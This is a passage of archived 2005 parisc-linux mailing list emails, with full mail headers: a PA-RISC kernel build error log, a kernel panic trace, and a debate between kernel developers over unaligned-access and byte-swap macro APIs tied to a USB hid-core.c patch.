include2/asm/atomic.h:27: error: syntax error before "__atomic_hash"
include2/asm/atomic.h:27: warning: type defaults to `int' in declaration of `__atomic_hash'
include2/asm/atomic.h:27: warning: data definition has no type or storage class
include2/asm/atomic.h: In function `__atomic_add_return':
include2/asm/atomic.h:143: error: `spinlock_t' undeclared (first use in this function)
include2/asm/atomic.h:143: error: `s' undeclared (first use in this function)
include2/asm/atomic.h:143: warning: implicit declaration of function `_raw_spin_lock'
include2/asm/atomic.h:147: warning: implicit declaration of function `_raw_spin_unlock'
include2/asm/atomic.h: In function `atomic_set':
include2/asm/atomic.h:154: error: `spinlock_t' undeclared (first use in this function)
include2/asm/atomic.h:154: error: `s' undeclared (first use in this function)
In file included from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/bitops.h: In function `set_bit':
include2/asm/bitops.h:45: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:45: error: `s' undeclared (first use in this function)
include2/asm/bitops.h: In function `clear_bit':
include2/asm/bitops.h:63: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:63: error: `s' undeclared (first use in this function)
include2/asm/bitops.h: In function `change_bit':
include2/asm/bitops.h:81: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:81: error: `s' undeclared (first use in this function)
include2/asm/bitops.h: In function `test_and_set_bit':
include2/asm/bitops.h:100: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:100: error: `s' undeclared (first use in this function)
include2/asm/bitops.h: In function `test_and_clear_bit':
include2/asm/bitops.h:127: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:127: error: `s' undeclared (first use in this function)
include2/asm/bitops.h: In function `test_and_change_bit':
include2/asm/bitops.h:154: error: `spinlock_t' undeclared (first use in this function)
include2/asm/bitops.h:154: error: `s' undeclared (first use in this function)
In file included from include2/asm/thread_info.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/thread_info.h:21,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/processor.h: At top level:
include2/asm/processor.h:90: error: syntax error before "spinlock_t"
include2/asm/processor.h:90: warning: no semicolon at end of struct or union
include2/asm/processor.h:102: error: syntax error before '}' token
In file included from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:79,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock_types.h:26: error: `spinlock_t' used prior to declaration
make[2]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 2
make: *** [vmlinux] Error 2
====<>====

What did I missed?

Thanks,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Sat, 04 Jun 2005 13:59:15 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <42A1B3B3.7030003__35224.5811991908$1416624542$gmane$org@tiscali.be>
References: <20050604011655.GA16999@colo.lackof.org>	<200506040125.j541PI7g009179@hiauly1.hia.nrc.ca>	<20050604072510.GD8230@colo.lackof.org>
	<42A182E9.7020609@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624542 26800 80.91.229.3 (22 Nov 2014 02:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net,
 kyle@cabal.ca
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 13:59:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 04 Jun 2005 15:59:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E034E7D678;
	Sat,  4 Jun 2005 07:59:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14703-01; Sat, 4 Jun 2005 07:59:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 479317D679;
	Sat,  4 Jun 2005 07:59:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1C747D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 07:59:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14438-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 07:59:24 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 37B6C7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 07:59:24 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A7DD0495378; Sat,  4 Jun 2005 07:59:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id 2EEE1495376;
	Sat,  4 Jun 2005 07:59:23 -0600 (MDT)
Original-Received: from [83.134.224.71] (helo=[83.134.224.71])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DeZBF-00030M-Lh; Sat, 04 Jun 2005 15:59:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <42A182E9.7020609@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ktbTYrIPeSEka76WZHQhaXN1IGRvb8Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25127

[...]
>>
>> Ok. Can you want to try the older version of 
>> include/asm-parisc/unaligned.h?
>>
> Interesting, I will too
> 
Sorry it didn't help for me (on a b180 with kernel 2.6.12-rc5-pa2 and 2.6.8/include/asm-parisc/unaligned.h)
still panicing as usual:
  [<101511b0>] cache_grow+0xd8/0x1a8
  [<10151428>] cache_alloc_refill+0x1a8/0x264
  [<10151744>] kmem_cache_alloc+0x48/0x4c
  [<101b590c>] ext3_alloc_inode+0x18/0x40
  [<10186ae8>] alloc_inode+0x28/0x1a0
  [<1018772c>] new_inode+0x10/0x8c
  [<101aa718>] ext3_new_inode+0xc4/0x73c
  [<101b36b8>] ext3_create+0x8c/0x12c
  [<1017b484>] vfs_create+0xe0/0x140
  [<1017bd54>] open_namei+0x680/0x734
  [<101694bc>] filp_open+0x3c/0x70
  [<101699ac>] sys_open+0x70/0xb8
  [<1010d12c>] syscall_exit+0x0/0x14


Kernel Fault: Code=15 regs=15154600 (Addr=27c944cc)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001110011100001111 Not tainted
r00-03  00000000 10513e58 101511b0 105004f8
r04-07  17794000 100df6e0 00000010 00000050
r08-11  00000001 15f172bc 17b050dc 00000000
r12-15  15154110 000081a4 0004db4e 000e1bc8
r16-19  000e1c68 00000000 00000000 27c944f8
r20-23  27c944bc 000003dc 000001a5 00000050
r24-27  105004bc 17794000 100df6e0 10400010
r28-31  27c944bc 00000000 15154600 10153a94
sr0-3   00000000 000028a9 00000000 00002635
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10150f30 10150f34
  IIR: 6b800020    ISR: 00000000  IOR: 27c944cc
  CPU:        0   CR30: 15154000 CR31: 10460000
  ORIG_R28: 00000000
  IAOQ[0]: alloc_slabmgmt+0x30/0x6c
  IAOQ[1]: alloc_slabmgmt+0x34/0x6c
  RP(r2): cache_grow+0xd8/0x1a8
Kernel panic - not syncing: Kernel Fault
  <0>Rebooting in 120 seconds..

:_(

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Stern <stern@rowland.harvard.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-usb-devel] Re: [parisc-linux] [PATCH] usb/input/hid-core.c
	extract() brain damage
Date: Sat, 4 Jun 2005 11:06:52 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44L0.0506041057560.5133-100000__36951.0752069347$1416624542$gmane$org@iolanthe.rowland.org>
References: <20050604072510.GD8230@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624542 26804 80.91.229.3 (22 Nov 2014 02:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net,
 kyle@cabal.ca
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 15:07:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 04 Jun 2005 17:07:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C54D7D679;
	Sat,  4 Jun 2005 09:06:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14966-03; Sat, 4 Jun 2005 09:06:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C8347D67D;
	Sat,  4 Jun 2005 09:06:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92A8F7D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 09:06:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14614-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 09:06:54 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28A737D660
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 09:06:54 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 96FDB4955FD; Sat,  4 Jun 2005 09:06:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from iolanthe.rowland.org (iolanthe.rowland.org [192.131.102.54])
	by palinux.hppa (Postfix) with SMTP id 2A2424955F0
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Jun 2005 09:06:52 -0600 (MDT)
Original-Received: (qmail 5135 invoked by uid 2102); 4 Jun 2005 11:06:52 -0400
Original-Received: from localhost (sendmail-bs@127.0.0.1)
	by localhost with SMTP; 4 Jun 2005 11:06:52 -0400
X-X-Sender: stern@iolanthe.rowland.org
In-Reply-To: <20050604072510.GD8230@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wabTYpVJeSEkUr6WZHQhaXN1IGRvb4CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25128

On Sat, 4 Jun 2005, Grant Grundler wrote:

> Yes, Kyle tracked it down to parisc switching from a parisc asm
> definition of get_unaligned() to using the generic ones.
> Ie we moved from avoiding kernel traps to exercising them.
> But 64-bit kernel worked fine with USB.
> And on 32-bit kernels le64() loads degenerate into two 32-bit
> loads. Ie the trap handler is still only dealing with 32-bit
> misaligned accesses like it would with this patch. So I don't
> think the kernel trap support is the problem.
> 
> Regardless, the two functions are badly written and could
> be alot clearer.

This is a naive question from someone who doesn't know much about the 
various implementations of get_unaligned() and put_unaligned().

In spite of the total overall number of changes required, wouldn't it be 
much simpler to have a suite of routines (inlines or macros) like:

	get_16, put_16, get_le16, put_le16, get_be16, put_be16
	get_32, put_32, get_le32, put_le32, get_be32, put_be32
	get_64, put_64, get_le64, put_le64, get_be64, put_be64

	in short, {get|put}_{|le|be}{16|32|64}

for native, little-endian, and big-endian unaligned accesses?  The generic 
definitions are extremely simple and architecture-specific headers could 
easily provide optimized versions.

I realize this doesn't fit in very well with the current state of the API, 
but IMHO it would be a big improvement.

Alan Stern

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Stern <stern@rowland.harvard.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-usb-devel] Re: [parisc-linux] [PATCH] usb/input/hid-core.c
	extract() brain damage
Date: Sat, 4 Jun 2005 18:59:53 -0400 (EDT)
Lines: 105
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44L0.0506041824180.15124-100000__15312.1504154571$1416624543$gmane$org@netrider.rowland.org>
References: <20050604174308.GA19823@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624543 26806 80.91.229.3 (22 Nov 2014 02:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:03 +0000 (UTC)
Cc: linux-usb-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 23:00:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 05 Jun 2005 01:00:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BDC77D6A2;
	Sat,  4 Jun 2005 17:00:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17435-03; Sat, 4 Jun 2005 17:00:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B1557D6A3;
	Sat,  4 Jun 2005 17:00:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF83B7D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 17:00:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16753-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 17:00:05 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7B9CA7D698
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 17:00:05 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id CF7B04941AD; Sat,  4 Jun 2005 17:00:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from netrider.rowland.org (unknown [140.247.233.35])
	by palinux.hppa (Postfix) with SMTP id 5EA444941AB
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Jun 2005 17:00:04 -0600 (MDT)
Original-Received: (qmail 15913 invoked by uid 500); 4 Jun 2005 18:59:53 -0400
Original-Received: from localhost (sendmail-bs@127.0.0.1)
	by localhost with SMTP; 4 Jun 2005 18:59:53 -0400
X-X-Sender: stern@netrider.rowland.org
In-Reply-To: <20050604174308.GA19823@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3FfQYgYteSEkc76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25129

On Sat, 4 Jun 2005, Grant Grundler wrote:

> On Sat, Jun 04, 2005 at 11:06:52AM -0400, Alan Stern wrote:
> > In spite of the total overall number of changes required, wouldn't it be 
> > much simpler to have a suite of routines (inlines or macros) like:
> > 
> > 	get_16, put_16, get_le16, put_le16, get_be16, put_be16
> > 	get_32, put_32, get_le32, put_le32, get_be32, put_be32
> > 	get_64, put_64, get_le64, put_le64, get_be64, put_be64
> > 
> > 	in short, {get|put}_{|le|be}{16|32|64}
> 
> Sorry, no. The architectures that trap on misaligned accesses have to
> handle that in the kernel. And even though the implementations
> get simpler, a plethoria of interfaces just clutters up the general
> device driver API. For that reason alone I wouldn't want it.
> 
> The endian conversion (swap) macros are PITA already.
> I'll argue the swap API should be simplified to four macros:
> 	cpu_to_le(x), cpu_to_be(x), le_to_cpu(x), be_to_cpu(x)
> 
> and force the caller to cast to the right size. switch(sizeof(x)) would
> then select the right arch specific variant. I'll figure out how to
> pitch this to linux-arch...and then see how far it gets batted back. :^)

I don't really follow your argument.  For example, consider the swap API.  
There's nothing to stop you from defining, in your own code, those four 
macros.  Have them perform the appropriate conversion based on the type of 
x.  You don't have to use the full existing API if you don't want to.


The point I was driving at is that we currently have separate APIs for 
byte swapping and for unaligned access, and it would make a lot of sense 
to combine them into a single API.  Knowing that the bytes have to be 
swapped _and_ that the value isn't aligned correctly should allow us to 
use more efficient code (in some cases) than a simple unaligned access 
followed by a byte swap.

I also don't understand your point about architectures that trap unaligned 
accesses.  Let's put aside for one moment the question of whether it's 
better to manually load the pieces of an unaligned value versus incurring 
the overhead of a trap and a kernel fixup -- the arch-specific code is 
supposed to know which one is better so that programmers don't have to 
worry about it.  Given that unaligned accesses are implemented as traps, 
what's wrong with, for example

#define get_be16(p)	be_to_cpu((u16) get_unaligned((u16 *) (p)))

This is always a valid possibility for the arch-specific implementation of 
get_be16.  Another possibility is

static inline unsigned get_be16(void *p)
{
	u8 *q = (u8 *) p;

	return (((unsigned) q[0]) << 8) + ((unsigned) q[1]);
}

which should in fact be the generic implementation.  It will work 
regardless of whether unaligned accesses are trapped.


Is your main objection simply to the proliferation of access routines?  
It's a valid point, but better too many than too few.  Furthermore it's 
always possible to do as you said, just define get_be() and rely on the 
caller to cast the pointer to the appropriate type.


> > I realize this doesn't fit in very well with the current state of the API, 
> > but IMHO it would be a big improvement.
> 
> Not really. davem is right that it would clutter up certain parts
> of the code (e.g. networking stack).

How so?  I don't think "get_be32(p)" is more clutter-ful than 
"be32_to_cpu(get_unaligned(p))".  It's not even more clutter-ful than
"be32_to_cpu(*p)".  Certainly it's better than

	(p[0] << 24) + (p[1] << 16) + (p[2] << 8) + (p[3])

which occurs more often than I would like.


> Don't forget all the above is a NOP on 90% (x86) of the computers.

So what?  The x86-specific implementation will expand to a NOP.

> I'm annoyed that certain performance sensitive paths (e.g. TCP/IP) don't
> use macros to access unaligned data. It affects my work (ia64)
> and pet (parisc) architectures. But that's how it is and I don't
> see it changing anytime in the near future.

Then where the macros aren't used the code would remain unchanged -- until
someone decides to go in and clean it up.  That has nothing to do with the
question of whether this would be a better way to implement routines for
unaligned access.

Alan Stern

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-usb-devel] Re: [parisc-linux] [PATCH] usb/input/hid-core.c
	extract() brain damage
Date: Sun, 5 Jun 2005 01:58:04 -0600
Lines: 124
Approved: news@gmane.org
Message-ID: <20050605075804.GA15195__655.666800639842$1416624543$gmane$org@colo.lackof.org>
References: <20050604174308.GA19823@colo.lackof.org>
	<Pine.LNX.4.44L0.0506041824180.15124-100000@netrider.rowland.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624543 26808 80.91.229.3 (22 Nov 2014 02:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:03 +0000 (UTC)
Cc: linux-usb-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: Alan Stern <stern@rowland.harvard.edu>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2005 07:54:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 05 Jun 2005 09:54:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5C347D411;
	Sun,  5 Jun 2005 01:54:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18910-06; Sun, 5 Jun 2005 01:54:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E1997D412;
	Sun,  5 Jun 2005 01:54:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F299A7D40B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 01:54:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18910-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 5 Jun 2005 01:54:30 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7E0FB7D406
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  5 Jun 2005 01:54:30 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D8B974940B3; Sun,  5 Jun 2005 01:54:29 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 874FB494035
	for <parisc-linux@parisc-linux.org>;
	Sun,  5 Jun 2005 01:54:29 -0600 (MDT)
